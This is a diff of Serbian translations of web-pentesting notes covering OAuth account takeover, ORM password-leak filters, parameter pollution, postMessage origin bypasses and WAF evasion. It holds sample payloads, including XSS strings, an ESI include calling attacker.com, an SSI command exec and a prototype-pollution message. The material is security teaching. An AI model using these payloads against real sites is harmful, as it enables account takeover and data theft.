Napadači mogu iskoristiti ovo presretnuvši proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**.
Napadači mogu iskoristiti ovo presrećući proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**.
Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe**, i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge.
Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe** i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge.
Pravilno rukovanje i validacija **`state` parametra** su ključni za zaštitu od CSRF i osiguranje OAuth toka.
### Preuzimanje naloga <a href="#ebe4" id="ebe4"></a>
1. **Bez verifikacije email-a prilikom kreiranja naloga**: Napadači mogu unapred kreirati nalog koristeći email žrtve. Ako žrtva kasnije koristi uslugu treće strane za prijavu, aplikacija može nenamerno povezati ovaj nalog treće strane sa napadačevim unapred kreiranim nalogom, što dovodi do neovlašćenog pristupa.
2. **Zloupotreba labave verifikacije email-a u OAuth-u**: Napadači mogu iskoristiti OAuth usluge koje ne verifikuju email-ove tako što se registruju sa svojom uslugom, a zatim menjaju email naloga na onaj žrtve. Ova metoda takođe nosi rizik od neovlašćenog pristupa nalogu, slično prvom scenariju, ali kroz drugačiji napad.
2. **Iskorišćavanje labave verifikacije email-a u OAuth-u**: Napadači mogu iskoristiti OAuth usluge koje ne verifikuju email adrese tako što se registruju sa svojom uslugom, a zatim menjaju email naloga na onaj žrtve. Ova metoda takođe nosi rizik od neovlašćenog pristupa nalogu, slično prvom scenariju, ali kroz drugačiji napadački vektor.
### Otkriće tajni <a href="#e177" id="e177"></a>
Identifikacija i zaštita tajnih OAuth parametara je ključna. Dok se **`client_id`** može bezbedno otkriti, otkrivanje **`client_secret`** nosi značajne rizike. Ako je `client_secret` kompromitovan, napadači mogu iskoristiti identitet i poverenje aplikacije da **ukradu korisničke `access_tokens`** i privatne informacije.
Uobičajena ranjivost nastaje kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, kroz socijalno inženjerstvo, napadači bi mogli da eskaliraju privilegije dodavanjem dodatnih opsega u OAuth autorizaciju, dodatno iskorišćavajući poveren status aplikacije.
Uobičajena ranjivost se javlja kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, kroz socijalno inženjerstvo, napadači bi mogli da eskaliraju privilegije dodavanjem dodatnih opsega OAuth autorizaciji, dodatno iskorišćavajući poveren status aplikacije.
### Bruteforce klijent tajne
@ -155,7 +155,7 @@ Kao što je [**spomenuto u ovom izveštaju**](https://salt.security/blog/oh-auth
To je zato što bi **napadač** mogao da kreira **aplikaciju koja podržava OAuth i prijavi se putem Facebook-a** (na primer) u svojoj aplikaciji. Zatim, kada žrtva prijavi putem Facebook-a u **napadačevoj aplikaciji**, napadač bi mogao da dobije **OAuth token korisnika dodeljen njegovoj aplikaciji i koristi ga za prijavu u žrtvinu OAuth aplikaciju koristeći žrtvin korisnički token**.
> [!CAUTION]
> Stoga, ako napadač uspe da dobije pristup korisnikovoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom app ID-u.
> Stoga, ako napadač uspe da dobije pristup korisniku svojoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom app ID-u.
### Dva linka i kolačić <a href="#bda5" id="bda5"></a>
@ -178,11 +178,11 @@ Kao što je [**objašnjeno u ovom videu**](https://www.youtube.com/watch?v=n9x7_
### OAuth ROPC tok - zaobilaženje 2 FA <a href="#b440" id="b440"></a>
Prema [**ovoj blog objavi**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), ovo je OAuth tok koji omogućava prijavu u OAuth putem **korisničkog imena** i **lozinke**. Ako se tokom ovog jednostavnog toka vrati **token** sa pristupom svim radnjama koje korisnik može da izvrši, tada je moguće zaobići 2FA koristeći taj token.
Prema [**ovom blog postu**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), ovo je OAuth tok koji omogućava prijavu u OAuth putem **korisničkog imena** i **lozinke**. Ako se tokom ovog jednostavnog toka vrati **token** sa pristupom svim radnjama koje korisnik može da izvrši, tada je moguće zaobići 2FA koristeći taj token.
### ATO na veb stranici koja preusmerava na osnovu otvorenog preusmeravanja na referent <a href="#bda5" id="bda5"></a>
Ova [**blog objava**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) komentariše kako je bilo moguće zloupotrebiti **otvoreno preusmeravanje** na vrednost iz **referenta** da bi se zloupotrebio OAuth za ATO. Napad je bio:
Ovaj [**blog post**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) komentariše kako je bilo moguće zloupotrebiti **otvoreno preusmeravanje** na vrednost iz **referenta** da bi se zloupotrebio OAuth za ATO. Napad je bio:
1. Žrtva pristupa napadačevoj veb stranici
2. Žrtva otvara zlonamerni link i otvarač pokreće Google OAuth tok sa `response_type=id_token,code&prompt=none` kao dodatnim parametrima koristeći kao **referent napadačevu veb stranicu**.
@ -212,7 +212,7 @@ Dinamička registracija klijenata u OAuth služi kao manje očigledan, ali kriti
## OAuth provajderi Utrke
Ako je platforma koju testirate OAuth provajder, [**pročitajte ovo da biste testirali moguće Utrke**](race-condition.md).
Ako je platforma koju testirate OAuth provajder [**pročitajte ovo da biste testirali moguće Utrke**](race-condition.md).
## Reference

View File

@ -11,7 +11,7 @@
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### Open Redirect na XSS
### Open Redirect za XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

View File

@ -24,7 +24,7 @@ Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđ
Primeri:
- **Login:** U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega.
- **Prijava:** U jednostavnoj prijavi pokušajte da iscurite lozinke korisnika registrovanih unutar nje.
```json
{
"username": "admin",
@ -43,7 +43,7 @@ Primeri:
> [!CAUTION]
> Moguće je pronaći lozinku svih korisnika koji su kreirali članak
- **Filtriranje više prema više relacija**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge relacije, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
- **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
@ -52,7 +52,7 @@ Primeri:
> [!CAUTION]
> U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
- **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
- **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Pored toga, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
```bash
# By users in the same group
created_by__user__groups__user__password
@ -257,7 +257,7 @@ Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-m
}
}
```
- **Error/Timed queries**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
- **Greške/Upitnici sa vremenom**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
```json
{
"OR": [
@ -275,7 +275,7 @@ Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgov
Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.**
> [!TIP]
> **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih za pretražive atribute i asocijacije.**
> **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.**
**Vulnerabilan primer:**
```ruby
@ -284,7 +284,7 @@ def index
@posts = @q.result(distinct: true)
end
```
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force napad na reset token sa:
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1

View File

@ -32,7 +32,7 @@ Transakcija može biti pogrešno naplaćena na `accountC` umesto na `accountA`,
- **Context:** Mehanizam prijave koji zahteva jednokratnu lozinku (OTP) je iskorišćen.
- **Method:** Presretanjem OTP zahteva koristeći alate poput Burp Suite, napadači su duplicirali `email` parametar u HTTP zahtevu.
- **Outcome:** OTP, namenjen za inicijalnu email adresu, umesto toga je poslat na drugu email adresu navedenu u manipulisanom zahtevu. Ova greška je omogućila neovlašćen pristup zaobilaženjem predviđene sigurnosne mere.
- **Outcome:** OTP, namenjen za inicijalnu email adresu, je umesto toga poslat na drugu email adresu navedenu u manipulisanom zahtevu. Ova greška je omogućila neovlašćen pristup zaobilaženjem predviđene sigurnosne mere.
Ovaj scenario ističe kritičan propust u backend-u aplikacije, koji je obradio prvi `email` parametar za generisanje OTP-a, ali je koristio poslednji za isporuku.
@ -40,8 +40,8 @@ Ovaj scenario ističe kritičan propust u backend-u aplikacije, koji je obradio
- **Scenario:** Aplikacija omogućava korisnicima da ažuriraju svoj API ključ putem stranice za podešavanje profila.
- **Attack Vector:** Napadač otkriva da dodavanjem dodatnog `api_key` parametra u POST zahtev može manipulisati ishodom funkcije ažuriranja API ključa.
- **Technique:** Koristeći alat poput Burp Suite, napadač kreira zahtev koji uključuje dva `api_key` parametra: jedan legitimni i jedan maliciozni. Server, obrađujući samo poslednji, ažurira API ključ na vrednost koju je naveo napadač.
- **Result:** Napadač dobija kontrolu nad funkcionalnošću API-ja žrtve, potencijalno pristupajući ili modifikujući privatne podatke neovlašćeno.
- **Technique:** Koristeći alat poput Burp Suite, napadač kreira zahtev koji uključuje dva `api_key` parametra: jedan legitimni i jedan zlonameran. Server, obrađujući samo poslednju pojavu, ažurira API ključ na vrednost koju je naveo napadač.
- **Result:** Napadač dobija kontrolu nad funkcionalnošću API-ja žrtve, potencijalno pristupajući ili modifikujući privatne podatke bez dozvole.
Ovaj primer dodatno naglašava potrebu za sigurnim rukovanjem parametrima, posebno u funkcijama koje su kritične kao što je upravljanje API ključem.
@ -49,7 +49,7 @@ Ovaj primer dodatno naglašava potrebu za sigurnim rukovanjem parametrima, poseb
Način na koji web tehnologije obrađuju duple HTTP parametre varira, utičući na njihovu podložnost HPP napadima:
- **Flask:** Usvaja prvu vrednost parametra koja se susreće, kao što je `a=1` u upitnom stringu `a=1&a=2`, prioritizujući inicijalni primerak nad kasnijim duplikatima.
- **Flask:** Usvaja prvu vrednost parametra koja se susreće, kao što je `a=1` u upitu `a=1&a=2`, prioritizujući inicijalnu instancu nad kasnijim duplikatima.
- **PHP (na Apache HTTP Server-u):** Nasuprot tome, prioritizuje poslednju vrednost parametra, birajući `a=2` u datom primeru. Ovo ponašanje može nenamerno olakšati HPP eksploate tako što poštuje manipulisan parametar napadača umesto originalnog.
## Parameter pollution by technology
@ -78,8 +78,8 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut
<figure><img src="../images/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping prepoznaju name\[].
3. Preferiraj name ako name i name\[] postoje.
2. POST RequestMapping & PostMapping prepoznaju name[].
3. Preferiraj name ako name i name[] postoje.
4. Konkateniraj parametre npr. first,last.
5. POST RequestMapping & PostMapping prepoznaju upitni parametar sa Content-Type.
@ -87,35 +87,35 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Prepoznaje name\[].
1. Prepoznaje name[].
2. Konkateniraj parametre npr. first,last.
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. NE prepoznaje name\[].
1. NE prepoznaje name[].
2. Preferiraj prvi parametar.
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. NE prepoznaje name\[].
1. NE prepoznaje name[].
2. Preferiraj prvi parametar.
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. NE prepoznaje name\[].
1. NE prepoznaje name[].
2. Preferiraj poslednji parametar.
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. NE prepoznaje name\[].
1. NE prepoznaje name[].
2. Preferiraj poslednji parametar.
## JSON Injection

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Moguće je **dodati stringove na kraj broja telefona** koji se mogu koristiti za iskorišćavanje uobičajenih umetanja (XSS, SQLi, SSRF...) ili čak za zaobilaženje zaštita:
Moguće je **dodati stringove na kraj broja telefona** koji se mogu koristiti za iskorišćavanje uobičajenih injekcija (XSS, SQLi, SSRF...) ili čak za zaobilaženje zaštita:
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>

View File

@ -136,13 +136,13 @@ javascript:alert(1)
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloti
### Полиглоти
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
Isti testovi koji se koriste za Open Redirect mogu se koristiti i ovde.
Isti testovi koji se koriste za Open Redirect mogu se koristiti ovde.
## [Server Side Template Injection](../ssti-server-side-template-injection/)

View File

@ -32,13 +32,13 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Napomena da **targetOrigin** može biti '\*' ili URL poput _https://company.com._\
Napomena da **targetOrigin** može biti '\*' ili URL kao što je _https://company.com._\
U **drugom scenariju**, **poruka se može slati samo toj domeni** (čak i ako je izvor objekta prozora drugačiji).\
Ako se koristi **wildcard**, **poruke se mogu slati bilo kojoj domeni**, i biće poslate na izvor objekta Window.
### Napad na iframe & wildcard u **targetOrigin**
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljive** poruke na domen koji kontrolišete.\
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljivu** poruku na domen koji kontrolišete.\
Napomena da ako stranica može biti iframed, ali je **targetOrigin** **postavljen na URL i ne na wildcard**, ovaj **trik neće raditi**.
```markup
<html>
@ -80,11 +80,11 @@ Da biste **pronašli event listenere** na trenutnoj stranici možete:
![](<../../images/image (618) (1).png>)
- **Ići na** _Elements --> Event Listeners_ u alatima za razvoj pregleda
- **Ići na** _Elements --> Event Listeners_ u alatima za razvoj preglednika
![](<../../images/image (396).png>)
- Koristite **proširenje za pregled** kao što je [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja za pregled će **presresti sve poruke** i prikazati ih vama.
- Koristite **proširenje za preglednik** kao što je [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja za preglednik će **presresti sve poruke** i prikazati ih vama.
### Zaobilaženje provere porekla
@ -102,7 +102,7 @@ Da biste **pronašli event listenere** na trenutnoj stranici možete:
```
- **`match()`** funkcija, slična `search()`, obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju.
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne kreira novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ne stvara novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
- Očekivani neuspeh:
@ -126,9 +126,9 @@ U kontekstu ove ranjivosti, `File` objekat je posebno podložan eksploataciji zb
### e.origin == window.origin zaobilaženje
Kada se web stranica ugrađuje unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost.
Kada se web stranica ugrađuje unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se bave **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost.
Specifikovanjem **`allow-popups`** u sandbox atributu, bilo koji prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako **`allow-popups-to-escape-sandbox`** atribut takođe nije uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
Specifikovanjem **`allow-popups`** u sandbox atributu, bilo koji prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
Kao rezultat, kada se prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se evaluira kao tačno (`null == null`), jer i iframe i prozor dele istu vrednost porekla `null`.
@ -140,14 +140,14 @@ bypassing-sop-with-iframes-1.md
### Zaobilaženje e.source
Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za **Content Scripts iz proširenja pregleda** da provere da li je poruka poslata sa iste stranice):
Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za **Content Scripts iz proširenja preglednika** da provere da li je poruka poslata sa iste stranice):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Možete prisiliti **`e.source`** poruke da bude null tako što ćete kreirati **iframe** koji **šalje** **postMessage** i koji je **odmah obrisan**.
Možete prisiliti **`e.source`** poruke da bude null kreiranjem **iframe** koji **šalje** **postMessage** i koji je **odmah obrisan**.
Za više informacija **pročitajte:**
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Krađa poruke poslata detetu blokiranjem glavne stranice
Na sledećoj stranici možete videti kako možete ukrasti **osetljive postmessage podatke** poslata **child iframe** blokiranjem **glavne** stranice pre slanja podataka i zloupotrebom **XSS u detetu** da **ukrade podatke** pre nego što budu primljeni:
Na sledećoj stranici možete videti kako možete ukrasti **osetljive postmessage podatke** poslata **detetu iframe** blokiranjem **glavne** stranice pre slanja podataka i zloupotrebom **XSS u detetu** da **ukrade podatke** pre nego što budu primljeni:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### Krađa poruke modifikovanjem lokacije iframe-a
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **izvor** na stranicu **koju kontroliše** i **ukrasti** poruku:
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog deteta iframe**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **izvor** na stranicu **koju kontroliše** i **ukrasti** poruku:
{{#ref}}
steal-postmessage-modifying-iframe-location.md

View File

@ -1,4 +1,4 @@
# Blokiranje glavne stranice da bi se ukrao postmessage
# Blokiranje glavne stranice za krađu postmessage
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,17 +15,17 @@ renderContainer.innerHTML = data.body
}
}
```
Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje vlastite html podatke tom kodu, morate **bypass** `e.origin !== window.origin`.
Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje HTML podatke tom kodu, morate **zaobići** `e.origin !== window.origin`.
Hajde da vidimo rešenje koje predlažu.
### SOP bypass 1 (e.origin === null)
### SOP zaobilaženje 1 (e.origin === null)
Kada je `//example.org` ugrađen u **sandboxed iframe**, tada će **origin** stranice biti **`null`**, tj. **`window.origin === null`**. Tako da jednostavno ugrađujući iframe putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **prisiliti `null` origin**.
Kada je `//example.org` ugrađen u **sandboxed iframe**, tada će **origin** stranice biti **`null`**, tj. **`window.origin === null`**. Tako da jednostavno ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **prisiliti `null` origin**.
Ako je stranica bila **embeddable**, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na `SameSite=None`).
Ako je stranica bila **ugradiva**, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na `SameSite=None`).
### SOP bypass 2 (window.origin === null)
### SOP zaobilaženje 2 (window.origin === null)
Manje poznata činjenica je da kada je **sandbox vrednost `allow-popups` postavljena**, tada će **otvoreni popup** **naslediti** sve **sandboxed atribute** osim ako `allow-popups-to-escape-sandbox` nije postavljen.\
Dakle, otvaranje **popupa** iz **null origin** će učiniti da **`window.origin`** unutar popupa takođe bude **`null`**.

View File

@ -10,7 +10,7 @@ U ovom izazovu napadač treba da **bypass** ovo:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Ako to uradi, može poslati **postmessage** sa HTML sadržajem koji će biti napisan na stranici sa **`innerHTML`** bez sanitizacije (**XSS**).
Ako to uradi, može poslati **postmessage** sa HTML sadržajem koji će biti upisan na stranicu sa **`innerHTML`** bez sanitizacije (**XSS**).
Način da se zaobiđe **prva provera** je da se **`window.calc.contentWindow`** postavi na **`undefined`** i **`e.source`** na **`null`**:
@ -25,7 +25,7 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
Da bi se zaobišao **drugi proveren** o tokenu, potrebno je poslati **`token`** sa vrednošću `null` i postaviti vrednost **`window.token`** na **`undefined`**:
Da biste zaobišli **drugu proveru** o tokenu, potrebno je poslati **`token`** sa vrednošću `null` i postaviti vrednost **`window.token`** na **`undefined`**:
- Slanje `token` u postMessage sa vrednošću `null` je trivijalno.
- **`window.token`** se koristi u pozivu funkcije **`getCookie`** koja koristi **`document.cookie`**. Imajte na umu da svaki pristup **`document.cookie`** na stranicama sa **`null`** poreklom izaziva **grešku**. Ovo će učiniti da **`window.token`** ima vrednost **`undefined`**.

View File

@ -75,7 +75,7 @@ deny all;
### Path Confusion
[**U ovom postu**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) objašnjeno je da ModSecurity v3 (do 3.0.12), **nepravilno implementira `REQUEST_FILENAME`** varijablu koja je trebala da sadrži pristupnu putanju (do početka parametara). To je zato što je izvršavao URL dekodiranje da bi dobio putanju.\
Zato, zahtev kao `http://example.com/foo%3f';alert(1);foo=` u mod security će pretpostaviti da je putanja samo `/foo` jer se `%3f` transformiše u `?` koji završava URL putanju, ali zapravo putanja koju server prima biće `/foo%3f';alert(1);foo=`.
Zbog toga, zahtev kao što je `http://example.com/foo%3f';alert(1);foo=` u mod security će pretpostaviti da je putanja samo `/foo` jer se `%3f` transformiše u `?`, završavajući URL putanju, ali zapravo putanja koju server prima biće `/foo%3f';alert(1);foo=`.
Varijable `REQUEST_BASENAME` i `PATH_INFO` su takođe bile pogođene ovim greškom.
@ -96,7 +96,7 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Moguće je zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja dok je NODEJS server to razumeo (ovo je ispravljeno).
Moguće je bilo zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja dok je NODEJS server to razumeo (ovo je ispravljeno).
## Opšti WAF zaobilaženja
@ -110,7 +110,7 @@ Obično WAF-ovi imaju određeno ograničenje dužine zahteva za proveru i ako je
- Iz [**Azure dokumenata**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od **128 KB** isključivanjem inspekcije tela zahteva, ali ove poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine:
